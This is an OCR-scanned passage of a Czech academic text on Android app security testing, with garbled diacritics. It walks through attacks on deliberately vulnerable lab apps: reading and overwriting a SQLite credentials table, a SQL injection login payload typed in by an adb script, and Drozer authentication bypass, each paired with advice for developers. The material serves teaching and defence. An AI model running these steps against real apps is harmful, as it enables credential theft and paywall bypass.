column* a ,,--header®, nebot’ poskytnou uto€nikovi nazvy sloupct tabulek a
rozsifené informace o zdhlavi. Dodate¢né informace jsou uZitecné zejména pfi
komplikované;jSich Utocich. Je-li aktudlni nazev adresare databases, 1ze databazi
otevtit pfimo:

sqlite3 --column --header vulnerableCredentialsDB.db

Z libovolného mista souborového systému mobilniho zatizeni lze databazi
oteviit zadanim ptikazu:

sqlite3 -column -header
/data/data/cz.utb.fai.bestmaps4_ptlab/databases/vulnerableCredentialsDB.db

V prostiedi programu sqlite3 je moZné pouZzivat zabudované ptikazy zacinajici

teCkou 1 standardni databazové dotazy koncici sttednikem. Nejprve jsou vypsany
tabulky, které obsahuje dana databaze:
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sqlite> .tables
android_metadata credentials

Tabulka android metadata neobsahuje Zadna data, ktera by byla z pohledu
uto¢nika zajimava (vétSinou ma pouze jeden fadek a sloupec nesouci informaci o
jazykové lokalizaci). Naproti tomu nazev tabulky credentials naznacuje, Ze by
mohla ukryvat zneuZitelné informace. Proto je vypsano schéma dané tabulky:

sqlite> .schema credentials
CREATE TABLE credentials(_id INTEGER PRIMARY KEY, login TEXT, password
TEXT);

Z vypisu je vidét, Ze kromé& primarniho klice id tabulka rovnéz obsahuje
sloupce login a password. V dalSim kroku je do databaze poslan nésledujici dotaz,
ktery vypiSe vSechny fadky a sloupce tabulky credentials.

sqlite> SELECT * FROM credentials;
login pass

user-pentest pass-pentest
Obr. 4.76: Kompromitace obsahu databaze vulnerableCredentialsDB [zdroj viastni]

Na obrazku 4.76 je vidét, Ze byl Utok Uspeésny, nebot” doSlo ke kompromitaci
piihlasovacich udaji. Uvedeny mechanismus muze naptiklad zneuzit malware,
ktery bude pracovat na zafizenich se super uzivatelskym opravnénim. Malware
nejprve zjisti, zda bézi na mobilnim zafizeni, kde byl proveden root, nasledné
hleda, zda se na daném zafizeni nachazi zajmova aplikace obsahujici zjiS§ténou
chybu (tento typ malware obvykle necili na jedinou aplikaci, ale na celou skupinu
programill s bezpe€nostnimi chybami). Pokud jsou obé& podminky splnény,
malware odcizi uzivatelské jméno a heslo a zaSle je tviirci malware. Vlastnik
malware provede statickou analyzu zdrojového kodu aplikace Best Maps 4
s cilem najit IP nebo URL adresu vzdalen¢ho serveru. VSechny vySe zjisténé
udaje 1ze zneuZit nékolika zpisoby:

e k utoku proti aplikacnimu serveru,
e k napsani dalSiho malwaru, ktery bude mit legitimizujici ¢ast nabizejici
danou funkcionalitu zdarma (na pozadi bude provadét Skodlivou Cinnost).

Dalsi zpisob napadeni databdzového systému nachézejicitho se v mobilni
aplikaci je popsan na programu Best Maps 4 V2. Aplikace byla vytvofena tak,
aby demonstrovala dalsi bezpecnostni chybu, které by si méli byt védomi mobilni
vyvojati. Princip aplikace Best Maps 4 V2 je na obrazku 4.77 popsan body 1 - 7.
Po prvnim spusténi (bod 1.) je uzZivatel informovéan, Ze v aplikaci chybi
piithlasovaci tidaje, které je moZné ziskat na strdnce www.somepage.com (bod 2).
Po uspésné registraci a zaplaceni na webovém serveru uzivatel obdrZzené tdaje
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ruéné ulozi do ptislusnych textovych poli v aplikaci (bod 3.). Ptihlasovaci tdaje
jsou uloZeny v privatni databdzi aplikace (bod 4.). Pomoci ptihlasovacich udajl
je aplikace ptihlaSena na vzdaleny server (bod 5.). Je-li zaslané uZivatelské jméno
a heslo platné (bod 6.), jsou mobilni aplikaci poslana cenna data (bod 7.), ktera
jsou uloZena v databazi pattici aplikaci Best Maps 4 V2 (bod 8).

2.

Android Emulator - m:5554

1 208 MON, NOVEMBER 1
Lo
L

Missing credentials
er or .

3. Rucné

Jsou
prihlasov
aci udaje
spravné?

|

| Cenna data

Obr. 4.77: Princip aplikace Best Maps 4 V2 [zdroj viastni]

Bezpecnostni problém souvisejici s aplikaci Best Maps V2 byl zjistén na
zéklad¢é dynamicke analyzy. Pocatecni cast Gitoku je stejna jako v ptipadé€ aplikace
Best Maps 4. Nejprve je nainstalovan APK balicek vySetfované aplikace do
upravené¢ho mobilniho zatfizeni/emulatoru:

adb install BestMaps4_V2.apk

Aby bylo moZzné ziskat soubor AndroidManifest.xml v lidsky Citelné podobé,
je provedena dekompilace APK balicku pomoci nastroje APKTool:

java -jar apktool.jar d BestMaps4_V2.apk

Analyzou souboru AndroidManifest.xml bylo zjiSténo, Ze parametr package
nachazejici se v elementu manifest ma hodnotu:

package="cz.utb.fai.bestmaps4v2"
Zjistény parametr package bude slouzit jako identifikator cesty k privatnimu

datovému prostoru aplikace Best Maps 4 V2, ktery bude sledovan v Android
Device Monitoru. Na obrazku 4.78 je vidét privatni datovy prostor aplikace Best
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Maps 4 V2 pifed prvnim spusSténim. Z pohledu uto¢nika neobsahuje zadné
soubory, kter¢ by byly pouzitelné. V dalSim kroku je vySetfovana aplikace
spusténa a jsou zadany ptihlasovaci udaje.

%, Threads | @ Heap | @ Allocation Tracker | = Network Statistics |'# File Explorer X

Name Size Date Time Permissions
¥ (& cz.utb.fai.bestmaps4v2 2019-01-22 11:05 drwxr-x—x
& lib 2019-01-22 11:05 lrwxrwxrwx
» (= cz.utb.fai.stringdigging 2019-01-22 10:52 drwxr-x-x
» (= jp.co.omronsoft.openwnn 2016-11-08 10:33 drwxr-x—x

Obr. 4.78: Privatni datovy prostor aplikace Best Maps 4 V2 pred prvnim spusténim
[zdroj viastni]

Pohledem na obrazek 4.79 lze zjistit, Ze v datovém prostoru doslo ke zménam.
Byly vytvofeny adresaie cache a databases. Do adresaie databases byl navic
uloZen soubor vulnerableCredentialsDB.db. Nasledné byl databazovy soubor
pfenesen do pocitace k dalsi analyze: V zéaloZce File Explorer bylo kliknuto na
soubor vulnerableCredentialsDB.db, nasledné bylo kliknuto na tlacitko ,,Pull a
file from the device®.

% Threads | @ Heap | @ Allocation Tracker | % Network Statistics File Explorer &
Name Size Date Time Permissions
¥ & cz.utb.fai.bestmaps4v2 2019-01 11:12 drwxr-x—x
> =& cache 2019-01 11:12 drwxrwx—x
¥ (= databases 2019-01 11:12 drwxrwx-x

] vulnerableCredentialsDB.db 28672 2019-01 11:14 -rw-rw—
= vulnerableCredentialsDB.db-journal 12824 2019-01 11:14 -rTw—
& lib 2019-01 11:05 lrwxrwxrwx
» (= cz.utb.fai.stringdigging 2019-01 10:52 drwxr-x—x
> (= jp.co.omronsoft.openwnn 2016-11 10:33 drwxr-x—x

Obr. 4.79: Privatni datovy prostor aplikace Best Maps 4 V2 po zadani prihlasovacich
udaju [zdroj viastni]

Pro rychlé prohlizeni obsahtt SQLite databazi existuje fada uziteCnych online
nastrojii, napiiklad Sqliteonline.com, ktery je vidét na obrazku 4.80.
Sqliteonline.com umoziuje prohlizet strukturu databazi, prohliZeni obsahil
tabulek 1 vykonavani databazovych dotaz.
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E» Sqlite Browser X
&« C @ sqliteonline.com
- | & import #Signin o &
© Table v # s 8 B
B8 android_metadata SELECT * FROM 'maps’;
B8 credentials
8 maps
© View N i _id layout_1 layout_2 layout_3 objects_class_1 objects_class_2 objects_class_3
© Index . 1 L1-ORTHOPHOTO-0 L2-TRAFFIC-0 L3-GROUND-0 c1-0: D, G o= c2-0: QD N D= c3-0: D>\ GEED 3=
2 L1-ORTHOPHOTO-1 L2-TRAFFIC-1 L3-GROUND-1 ci1-1: GEEgeoN, GEEPOSE c2-1: QDN G o= c3-1: IR, G '
© Trigger
S] L1-ORTHOPHOTO-2 L2-TRAFFIC-2 L3-GROUND-2 C1-2: QI G 2E c2-2: QDN QU 2E c3-2: QDN G 0=
& syntax < la L1-ORTHOPHOTO-3 L2-TRAFFIC-3 L3-GROUND-3 c1-3: Gl >N, QI ' c2: D GEEEDs: C3- GEEED>\. GEEDs=
5 LLOBTHOPHOTOL L2.IBAEEICA LGEOUNDS Ci4 GENNED:) QRN  Co. eummmmec) GENND--  Co GENNED- GENES - )

Obr. 4.80: Cennd data aplikace Best Maps 4 V2 zobrazend ndsirojem Sqliteohline. com
[zdroj viastni]

Z obrazku 4.80 je ziejmé, Ze databaze obsahuje placend data. Bezpe€nostni
riziko spocivd zejména v situaci, kdy si Utocnik koupi jedinou licenci a v
upraveném mobilnim zafizeni/emulatoru se super uZzivatelskym opravnénim
odcizi cenna data.

Databéze v privatnim datovém prostoru mohou byt zplisobem popsanym vyse
bezpecné vyuzivany k ukladani nedilezitych 0dajl, naptiklad data souvisejici
s uzivatelskym nastavenim dané aplikace. Pokud by méla databaze obsahovat
citlivd osobni data svych uzivateld, placené know-how spole€nosti, kterym patii
mobilni aplikace apod., musi byt provedeno né€kolik opatieni:

e v lokalni databazi by méla byt vZdy co nejmensi mnozina dat, tzn. jen ta

data, ktera uzivatel aktualné potiebuje,

e vSechna dilezita data by méla byt chranéna Sifrovanim spliiujicim moderni
bezpecnostni standardy,

e aplikace by meéla obsahovat mechanismy, které znemoZni stahovani
cennych dat do mobilnich zafizeni, ve kterych uzivatel ptevzal super
uzivatelskd opravnéni. V takovych zafizenich by mél program misto
stahovani dat uzivatele pouze informovat o ditvodu, pro¢ nebylo stahovani
zahajeno,

e aplikace by méla pouzivat Anti-Analysis techniky??, které umozni zjistit,
Ze je spousténa v emulatoru, k ¢emuz neni legitimni divod. Za takovych
podminek by se aplikace neméla ani spustit. Podrobné&ji jsou Anti-Analysis
techniky popsany v kapitole 5 Mobilni malware, v oddile Anti-Analysis
techniky.

PodvrZeni piihlaSovacich udaji uloZenych v databadzi

22 Anti-Analysis techniky napriklad sleduji stav baterie, pokud je uroven nabiti na padesati
procentech a dlouhodobé se nemeni, miize to znamenat, Ze je dand aplikace spousténa
v emulatoru. Anti-Analysis techniky se nejprve objevily v malwaru, ktery se timto zpiisobem
branil dynamické analyze.
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Lokalni ovéfovani proklamovaneé identity uZivateld je v dneSni dobé stale
pouzivané, a to kvili jevu, ktery byl popsan v ¢lanku ,,A Comprehensive Guide
To Mobile App Design* [136]:

“...Loading time is extremely important for the UX. As technology progresses,
we get more impatient, and today, 47% of users expect a page to load in 2 seconds
or less...”

Vyse uvedend skutecnost se tyka i1 ovéfovani ptihlasovacich tdaja. Je-li ptili§
dlouhé, klesd popularita dané aplikace. Navic uzivatelé casto neobjektivné
hodnoti aktualni stav sveho internetového ptfipojeni. Maji pak z mobilni aplikace
Spatny pocit, 1 kdyZ je proces autentizace pomaly vlivem nekvalitniho pfipojeni.
Jeden z moZnych scénaft lokalniho ptihlaSovani je nastinén v aplikaci Best Maps
5. Program byl vytvofen autorem dizertacni prace na zakladé chyb objevenych
v ramci vyzkumu. O¢ekavané chovani bezpecnostniho mechanismu aplikace Best
Maps 5 je naznaCeno na obrazku 4.81. Uzivatel zadd do textovych poli své
uzivatelské jméno a heslo. Nasledné je proveden dotaz do databaze, kde jsou
vyhledany validni ptfihlasovaci tidaje. Uzivatelské jméno a heslo je porovnéano
s udaji ziskanymi z lokalni databaze. Shoduji-li se, je spuSténa chranéna cast
aplikace nabizejici placenou funkcionalitu.

Ocekavané chovani aplikace z pohledu vyvojare:

UzZivatel zada Login a Password

9 Android Emulator - m:5554 Android Emulator - m:5554

Sl@om

Q
O~‘|~o v
PENETRATION
“l F TESTING

oring  ABORATORY Je proveden dotaz do databaze

PfihlaSovaci udaje zadané

uZivatelem jsou porovnany s udaji

ziskanymi z databaze
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Obr. 4.81: Ocekavané chovani aplikace Best Maps 5 [zdroj viastni]

Uvedeny mechanismus ma bezpecnostni slabinu, kterd je vidét na obrazku
4.82. Utoénik napadne lokalni databazi, ve které podvrhne ptihlasovaci tdaje.
UZivatelské jméno a heslo bude nahrazeno textovymi fetézci, jejichZz podobu
utocnik zna. Po spusténi aplikace utocnik zada do textovych poli strazni aktivity
podvrzené udaje, program provede dotaz do své databaze, ve které je podvrzené
uzivatelské jméno a heslo. Aplikace vyhodnoti shodu 0idaji a spusti chranénou
¢ast mobilni aplikace.
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Princip utoku — pohled utocnika:
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user01

4. Prihlasovaci Udaje zadané
utocnikem jsou porovnany s udaji
ziskanymi z databaze

START TO USE BEST MAPS

5.Pokud se prihlasovaci tdaje shoduji, je spusténa chranéna cast aplikace

Obr. 4.82: Princip utoku na databazi aplikace Best Maps 5 [zdroj viastni]

procesu instalace testované aplikace,
dekompilace APK balicku,
ziskani parametru package 2z elementu manifest ze souboru
AndroidManifest.xml,
e spusténi ptikazového interpretu, ktery je zabudovan do mobilniho
zafizeni/emulatoru,
e lokalizace databaze v privatnim datovém prostoru,
e otevieni databaze prostfednictvim terminalového programu sqlite3
(soucast programoveého vybaveni mobilniho zatizeni/emulatoru),
jsou velmi podobné postuptim, které byly popsany v oddile 4.6.3 Utoky na
lokalni zabezpe€eni mobilnich aplikaci (Cast, kterd se zabyva kradeZemi dat z
databazi). Z uveden¢ho dlivodu je popsana pouze navazujici ¢ast ttoku.

Casti Gtoku, které se tykaji:
[
[
[

Ptikazem .tables jsou vypsany tabulky, které obsahuje testovana databaze:

sqlite> .tables

android_metadata credentials

K realizaci utoku je nutné znat strukturu tabulky credentials:
sqlite> .schema credentials

CREATE TABLE credentials(_id INTEGER PRIMARY KEY, login TEXT, password
TEXT);

Nyni je moZné v tabulce credentials provést podvrzeni pfihlasSovacich tidaji:
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sqlite> UPDATE credentials SET login='m', password='m' WHERE _id=1;

Z vypisu obsahu tabulky je vidét, ze podvrzeni ptfihlaSovacich udaji bylo
uspesne:

sglite> SELECT * FROM credentials;
_id login  password

1 m m

Pokud utoc¢nik spusti aplikaci Best Maps 5, jejiz databaze byla upravena vyse
uvedeny zplsobem, sta¢i k prolomeni bezpecnostniho mechanismu zadat misto
uzivatelského jména a hesla pismeno ,,m“. Programatoii by si méli byt védomi
skutec¢nosti, Ze GtoCnici mohou tdaje v databdzi nejen Cist, ale také modifikovat.
Z toho vyplyva, Ze zabezpeceni programill by nemélo spoléhat na idaje v databazi,
kterda se nachazi v interni nebo externi perzistentni paméti mobilniho zafizeni.
Rovnéz pouzivani logickych proménnych (isLicenced, full version apod.)
chranici ptistup k placené funkcionalité neni efektivni, nebot’ tyto poloZky mohou
byt snadno utocnikem modifikovany.

SOL injection

Utoky zalozené na SQL injection piedstavuji zavaZny bezpeénostni problém
nejen na mobilni platformé. Obecné 1ze fici, Ze bezpecnostni riziko spojené s SQL
injection se tyka vSech aplikaci, které pouzivaji databazové technologie. V roce
2017 byla situace natolik vaZna, Ze se Gtok pomoci injection dostal na prvni misto
seznamu deseti nejvetSich rizik v zabezpe€eni aplikaci (OWASP Top 10
Application Security Risks — 2017 [137]):

“A1:2017-Injection

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query. The
attacker's hostile data can trick the interpreter into executing unintended
commands or accessing data without proper authorization.” [137]

Z vySe uvedeného popisu je ziejmé, ze riziko typu injection hrozi vzdy, kdyz
jsou soucasti dotazu vstupy od uzZivatele, pfi¢emz tyto vstupy nejsou korektné
oSetfeny programatorem dane¢ aplikace. Situace je zachycena na obrazku 4.83.
Textové  fetézce,  kter¢é  uzivatel zadal do  textovych  poli
(loginEditText.getText().toString() a passwordEditText.getText().toString()) jsou
vlozeny do SQL dotazu (vulnerableQuery) bez jakékoliv kontroly. Neni-li
provedena ochrana vstupll, mize utocnik poslat do databazového systému text,
jehoZz soucasti bude 1 specialni znak, ktery ukonéi interpretaci vstupu jako
textového fetézce a zbytek vstupu bude systém povazovat za databazovy piikaz,
ktery vykona. To znamena, Ze Uto¢nik mize manipulovat s obsahem databaze a
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nepotiebuje k tomu Zadné specialni nastroje. Jediné, co musi utocnik udélat, je
zadani textl do ptislusnych poli aplikace.

String vulnerableQuery = "SELECT * FROM credentials WHERE login ="
+ loginEditText.getText().toString() + "' AND password ="

1 + passwordEditText.getText().toString() + "";

N
® Android Emulator - m:5554
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LABORATORY
PT LAB
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Obr. 4.83: Priklad neoSetrenych uzivatelskych vstupui, které jsou soucasti SQL dotazu
[zdroj viastni]

V aplikacich, které jsou vytvareny pod Android OS, nejsou uzivatelské vstupy
oSetfeny ani na Urovni systému, ani na trovni Ul (User Interface) komponent. O
kontrolu vSech uzivatelskych vstupi, které jsou soucasti databazovych dotazi, se
musi postarat aplika¢ni programator. Na mobilni platformé je SQL injection
obzvlasté nebezpecny, a to zeyména v ptipadech, kdy jsou dotazy s neoSetfenymi
uzivatelskymi vstupy vykonany pomoci metod:

* rawQuery,
* execSQL.

Obé metody nekontroluji bezpecnost dotazli a ptikazy okamzit€ vykonaji. Je-li
dotaz sestaven vySe uvedenym zplsobem, mlZe uto¢nik vkladat do textového
pole vstupy, které¢ nebudou pouze textové tetézce jako Login, Password atd., ale
1 ¢asti SQL dotazu, viz obrazek 4.84.

Textovy vstupu od uZivatele

v
SELECT * FROM credentials WHERE login = '1, OR '1'="1"' AND password ='1' OR '1'='1'
A

Ukonceni textového vstupu

OR je soucast SQL dotazu (logicky operator)

Obr. 4.84: Nebezpecny SQL dotaz, jehoz soucdsti jsou i vstupy od uzivatele [zdroj
viastni]

Na obrazku 4.84 je vidét charakteristicky rys, ktery je typicky pro SQL
injection. Uto¢nik v roli uZivatele vyplni textova pole pro zadani uzivatelského
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jména a hesla, aniZz by zadal nebo znal konkrétni hodnoty, které se v databazi
nachazi.

Ukazka, ve které je odvozen tvar skodlivého uzivatelského vstupu:

String vulnerableQuery = "SELECT * FROM credentials WHERE login = ™ +
loginEditText.getText().toString() + AND password = +
passwordEditText.getText().toString() + ™;

V ukézce jsou Cervené oznaCeny jednoduché uvozovky, které jsou soucasti
zdrojového kodu mobilni aplikace. Uto¢nik musi do textovych poli vlozit takove
fetézce, aby vysledny dotaz mél nasledujici tvar:

SELECT * FROM credentials WHERE login = "1" OR "1'="1" AND password = '1' OR
|1|:|1l

Jak bylo popsano vySe, jednoduché Cervené oznafené uvozovky jsou jiz
soucasti zdrojového kodu, ty musi Gtocnik vynechat. Spravny tvar Skodlivého
vstupu, ktery bude vkladan do textovych poli (instanci tfidy EditText) je tedy
nasledujici:

1"OR'1'="1

Cely utok zaloZeny na SQL injection je zobrazen na obrazku 4.85. Z uvedeného
obrazku je rovnéz ziejma celkova nebezpecnost utoku, nebot” je velmi snadny a
pro jeho provedeni nejsou potieba Zadné specidlni nastroje. V praxi to znamena,
ze SQL injection je prvni utok, o ktery se uto¢nik ve spojitosti s databazemi pokusi
poli zadavat vyraz 1' OR 'I'='1 ru¢né€, misto toho si mize vyrobit jednoduchy
skript:

#!/bin/bash
~/Android/Sdk/platform-tools/./adb shell input text "1\'%sOR%s\'1\'=\'1"

Staci, kdyz Gtocnik klikne do ptisluSného textového pole, ¢imz dané pole ziska
focus a spusti vyse uvedeny skript®.

2 Aplikace musi bézet v mobilnim zarizeni/emulatoru, ktery je pripojen k pocitaci, na nemz
je nainstalovan Android SDK.
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Obr. 4.85: Utok zalozeny na SOL injection [zdroj viastni]

Mobilni vyvojafi by si méli byt védomi rizika spojen¢ho s SQL injection
a vSechny vstupy, které zadavaji uzivatelé prostfednictvim uzivatelského rozhrani
dasledné kontrolovat. Vysledny program by mél do SQL dotazii vkladat jen
takove vstupy od uzivateld, které jsou skute€né pouze textovymi fetézci.
V ptipadé¢, Ze aplikace odhali nebezpecny znak nebo skupinu znaki:
e jsou z uzivatelského vstupu odstranény a soucasti dotazu je jen bezpecna
cast vstupu,
e dotaz neni vilbec proveden a uZivatel je informovan, Ze pouZzil neplatny
znak nebo posloupnost znaki.

Authentication Bypass

Utok je zaloZen na myslence, Ze v nékterych piipadech je pro utoénika snazsi
se pokusit o pfimé spusténi ¢asti aplikace poskytujici placenou funkcionalitu, nez
se pokouSet prolomit obranné mechanismy, které¢ jsou obsaZeny ve strazni
aktivité. Jinymi slovy Authentication Bypass je zaloZen na pfimém spusténi
chranéné casti aplikace, ¢imz je upln€ obejit ochranny mechanismus strazni
aktivity. Princip Gtoku Authentication Bypass je vidét na obrazku 4.86.

Utoky lze rozdélit do tii skupin, pii¢emz jejich Gispéch je do znaéné miry
ovlivnén parametrem android:exported (nachazi se v pfislusSném elementu activity
v souboru AndroidManifest.xml) a urovni opravnéni daného mobilniho
zatizeni/emulatoru.

Prvni skupina:

e qtok €. 1: android:exported="true*, spousténi pomoci Drozer frameworku

na fyzickém mobilnim zafizeni/emulatoru s normalni trovni zabezpeceni,

e qtok €. 2: android:exported="false*, spousténi pomoci Drozer frameworku

na fyzickém mobilnim zafizeni/emuldtoru s norméalni urovni zabezpeceni,

e qtok €. 3: android:exported="true*, spousténi pomoci Drozer frameworku

na fyzickém mobilnim zatizeni/emulatoru se super uZivatelskou Urovni
opravnéni (root),
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e utok €. 4: android:exported="false*, spousténi pomoci Drozer frameworku
na fyzickém mobilnim zatizeni/emulatoru se super uZivatelskou Urovni
opravnéni (root).

Druhé skupina:

e utok ¢. 5: android:exported=“true®, spousSténi v shellu na fyzickém
mobilnim zafizeni/emuldtoru s normalni Urovni zabezpecent,

e utok ¢. 6: android:exported=‘“false, spousSténi v shellu na fyzickém
mobilnim zafizeni/emuldtoru s normalni urovni zabezpecent,

e utok &. 7: android:exported=“true®, spousSténi v shellu na fyzickém
mobilnim zafizeni/emulatoru se super uZivatelskou Urovni opravnéni
(root),

e utok ¢. 8: android:exported=‘“false®, spousténi v shellu na fyzickém
mobilnim zafizeni/emulatoru se super uZivatelskou Urovni opravnéni
(root).

Tieti skupina:

e utok €. 9: android:exported="“true*, spousténi pomoci jiné aplikace (typicky
malware, ktery hraje roli spousSté€e) na fyzickém mobilnim
zatizeni/emulatoru s normalni trovni zabezpeceni,

e utok ¢. 10: android:exported="false®, spousténi pomoci jiné aplikace
(typicky malware, ktery hraje roli spoustée) na fyzickém mobilnim
zatizeni/emulatoru s normalni trovni zabezpecenti,

e utok ¢. 11: android:exported=“true®, spousténi pomoci jiné¢ aplikace
(typicky malware, ktery hraje roli spoustée) na fyzickém mobilnim
zatizeni/emulatoru se super uZivatelskou trovni opravnéni (root),

e utok ¢. 12: android:exported="false®, spousténi pomoci jin¢ aplikace
(typicky malware, ktery hraje roli spoustéfe) na fyzickém mobilnim
zatizeni/emulatoru se super uZivatelskou irovni opravnéni (root).

Android Emulator - TestDevice:5554

Verejna - prihlaSovaci aktivita (kazdy ji mlze vidét)

9 Android Emulator - TestDevice:5554

N
Lo /
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..................... pfihlagov
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Chranéna aktivita (jen pro
platici/registrované uZivatele,
obsahuje néco cenného)

Opétovné zobrazeni prihlasovaci aktivity

Obr. 4.86: Princip utoku Authentication Bypass [zdroj viastni]
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V nasledujici ¢asti toho oddilu budou demonstrovany jednotlivé utoky a
popsany jejich vysledky. Pro vykonani vSech utokli je nutné k testovacimu
pocitaci ptipojit fyzické mobilni zatizeni nebo emulator. Fyzické mobilni zatizeni
bylo pfipojovano pomoci USB kabelu. Emulator byl k pocita¢i piipojovan
automaticky prosttednictvim softwarového spojeni.

Utok &. 1: android:exported="true“, spousténi pomoci Drozer frameworku na
fyzickém mobilnim zatizeni/emulatoru s normalni trovni zabezpeceni:

Pti atoku ¢islo 1 byl pouzit Drozer framework, ktery je nutné pted samotnym
itokem nastavit. Proces nastaveni byl detailné popsan v oddilu 4.6.3 Utoky na
lokalni zabezpe€eni mobilnich aplikaci (Cast, kterd se zabyva kradeZzemi dat z
nezabezpecenych poskytovateli obsahu). Jednim z dilleZitych krokt je aktivace
port forwarding mezi mobilnim zatizenim/emulatorem a pocitacem, na kterém je
provadéno testovani. Na chybovém vypisu, ktery je uveden nize, je vidct, Ze
nastaveni port forwarding na fyzickém mobilnim zatizeni s normalni urovni
zabezpeceni skoncilo chybou:

workshop@ubuntu:~/lab$ adb forward tcp:31415 tcp:31415

* daemon not running. starting it now on port 5037 *

* daemon started successfully *

error: insufficient permissions for device: udev requires plugdev group membership.
See [http://developer.android.com/tools/device.html] for more information.

Manual uvedeny na strance http://developer.android.com/tools/device.html,
doporucuje postup pridat utocnika/testera do skupiny plugdev:

sudo usermod -aG plugdev SLOGNAME?*

Nicméné uvedeny postup k nastaveni port forwardingu nestaci. Z adresate
.android je potieba odstranit soubory adbkey a adbkey.pub. Dale je nutné odpojit
mobilni zafizeni od USB kabelu a vypnout adb server:

workshop@ubuntu:~/.android$ adb kill-server

Server je znovu spustén pomoci piikazu s vys$si rovni opravneéni:

workshop@ubuntu:~/.android$ sudo adb start-server

2 Jedna se uzivatelské jméno, viz pitkazy:
workshop@ubuntu:~/lab$ echo SLOGNAME
workshop

workshop@ubuntu:~/lab$ whoami
workshop
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Jakmile je adb server znovu spustén, je mozné ptipojit mobilni zatizeni pomoci
USB kabelu. Na mobilnim zafizeni se zobrazi dialog ”Allow USB debugging?”.
Utoénik musi zagkrtnout checkbox “Always allow from this computer”. Jakmile
jsou vSechny vyse uvedené kroky uspésn€ dokonceny, je mozné nastavit port
forwarding.

Ptikazem ,drozer console connect“ je v termindlu testovaciho pocitace
spusténa konzole programu Drozer. V konzoli programu Drozer jsou vypsany
vSechny nainstalované balicky, které obsahuji vyraz ,,Best Maps®, ¢imz uto¢nik
ziska identifikator aplikace, na kterou ttoc¢i:

dz> run app.package.list -f "Best Maps"
cz.utb.fai.bestmaps11 (Best Maps 11)

Z vyse uvedené¢ho vypisu vyplyvd, Ze hledanym identifikdtorem je
cz.utb.fai.bestmaps]11. Jamile je znama hodnota identifikatoru, mize byt zahdjeno
hledani zranitelnosti, které¢ zkoumana aplikace obsahuje:

dz> run app.package.attacksurface cz.utb.fai.bestmaps11
Attack Surface:
2 activities exported
0 broadcast receivers exported
0 content providers exported
0 services exported
is debuggable

Zvyraznény tadek naznacuje, Ze je mozné piimo spoustét dve aktivity. Nebot’
maji v souboru AndroidManifest.xml nastaven parametr exported>> na hodnotu
true.

V nasledujicim  kroku  je = v Drozeru  vypsan  obsah  souboru
AndroidManifest.xml, ve kterém je vyhledana aktivita poskytujici placenou
funkcionalitu:

dz> run app.package.manifest cz.utb.fai.oestmaps11
<manifest versionCode="1"
versionName="1.0"
package="cz.utb.fai.bestmaps11"
platformBuildVersionCode="25"
platformBuildVersionName="7.1.1">

2 Pokud by ve vypisu byla pouze jedna aktivita s hodnotou exported, znamend to, zZe lze
primo spustit pouze strazni aktivitu obsahujici bezpecnostni mechanismy. V takovém pripade
utocnik miize u aktivity obsahujici cennou funkcionalitu provést zménu parametru tak, jak to
bylo naznaceno v oddile Utok na parametr exported souboru AndroidManifest.xml. Dalsi
moznosti je prekondni bezpecnostnich mechanismii strazni aktivity.
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<uses-sdk minSdkVersion="15"
targetSdkVersion="25">
</uses-sdk>
<application theme="@2131230883"
label="@2131099681"
icon="@2130903040"
name="com.android.tools.fd.runtime.BootstrapApplication'
debuggable="true"
allowBackup="true"
supportsRtl="true">
<activity name="cz.utb.fai.bestmaps11.MainActivity">
<intent-filter>
<action name="android.intent.action.MAIN">
</action>
<category name="android.intent.category. LAUNCHER">
</category>
<fintent-filter>
<[activity>
<activity name="cz.utb.fai.bestmaps11.BestMapsActivity" exported="true">
<[activity>
</application>
</manifest>

Zvypisu je vidét, ze aplikace vlastni dvé aktivity. Prvni znich je
cz.utb.fai.bestmaps11.MainActivity, coZ je strdzni aktivita, nebot’ obsahuje
ptiznaky MAIN a LAUNCHER. To znamen4, Ze hledana aktivita se jmenuje
cz.utb.fai.bestmaps11.BestMapsActivity. Nyni m4 uto¢nik vSechny informace,
aby mohl provést Authentication Bypass pomoci Drozeru. Podle dokumentace
zabudované do Drozer konzole ma ttok tvar run app.activity.start --component
PACKAGE COMPONENT. Ptikaz s realnymi parametry:

run app.activity.start --component cz.utb.fai.oestmaps11
cz.utb.fai.bestmaps11.BestMapsActivity

Na obrazku 4.87 je vidét, ze Authentication Bypass vykonany pomoci Drozeru

byl UspéSny, nebot’ byla spusténa chranénd cast aplikace. Drozer konzole je
vypnuta zadanim ptikazu exit.
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Obr. 4.87: Vysledek utoku ¢. 1, ktery byl vykondan pomoci Drozeru [zdroj viastni]

Utok ¢. 2: android:exported="false“, spousténi pomoci Drozer frameworku na
fyzickém mobilnim zatizeni/emulatoru s normalni trovni zabezpeceni:

Nejprve je spustén Drozer framework a nasledné je proveden dalsi pokus o
Authentication Bypass:

dz> run app.activity.start --component cz.utb.fai.oestmaps11
cz.utb.fai.bestmaps11.BestMapsActivity
Permission Denial: starting Intent { flg=0x10000000

cmp=cz.utb.fai.oestmaps11/.BestMapsActivity (has extras) } from ProcessRecord{f40e3f7
15576:com.mwr.dz:remote/u0a60} (pid=15576, uid=10060) not exported from uid 10058

Z vypisu je patrné, Ze spusténi chranéné casti aplikace bylo zamitnuto, nebot’
k jeho vykonani nemél Drozer dostatend opravnéni, coz je zplisobeno tim, Ze
chranéna aktivita ma parametr exported nastaven na hodnotu false.

Utok &. 3: android:exported="true“, spousténi pomoci Drozer frameworku na
fyzickém mobilnim zafizeni/emuléatoru se super uZzivatelskou urovni opravnéni
(root):

Authentication Bypass je v Drozeru proveden stejnym ptikazem, ktery byl
pouZit i v piedchozich utocich:

dz> run app.activity.start --component cz.utb.fai.oestmaps11
cz.utb.fai.bestmaps11.BestMapsActivity

Na obrazku 4.88 je zobrazen uspé€Sn€ vykonany utoku pomoci Drozer
framework, cenna Cast aplikace byla spusténa.
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Obr. 4.88: Vysledek utoku ¢. 3, ktery byl vykondan pomoci Drozeru [zdroj viastni]

Utok ¢. 4: android:exported="false*, spousténi pomoci Drozer frameworku na
fyzickém mobilnim zafizeni/emuléatoru se super uZivatelskou urovni opravnéni
(root):

dz> run app.activity.start --component cz.utb.fai.oestmaps11
cz.utb.fai.bestmaps11.BestMapsActivity

Permission Denial: starting Intent { flg=0x10000000
cmp=cz.utb.fai.oestmaps11/.BestMapsActivity (has extras) } from

ProcessRecord{ee41b6d 3159:com.mwr.dz:remote/u0a63} (pid=3159, uid=10063) not
exported from uid 10064

Z vypisu je vidét, Ze spusténi chranéné ¢asti aplikace bylo zamitnuto, stejné
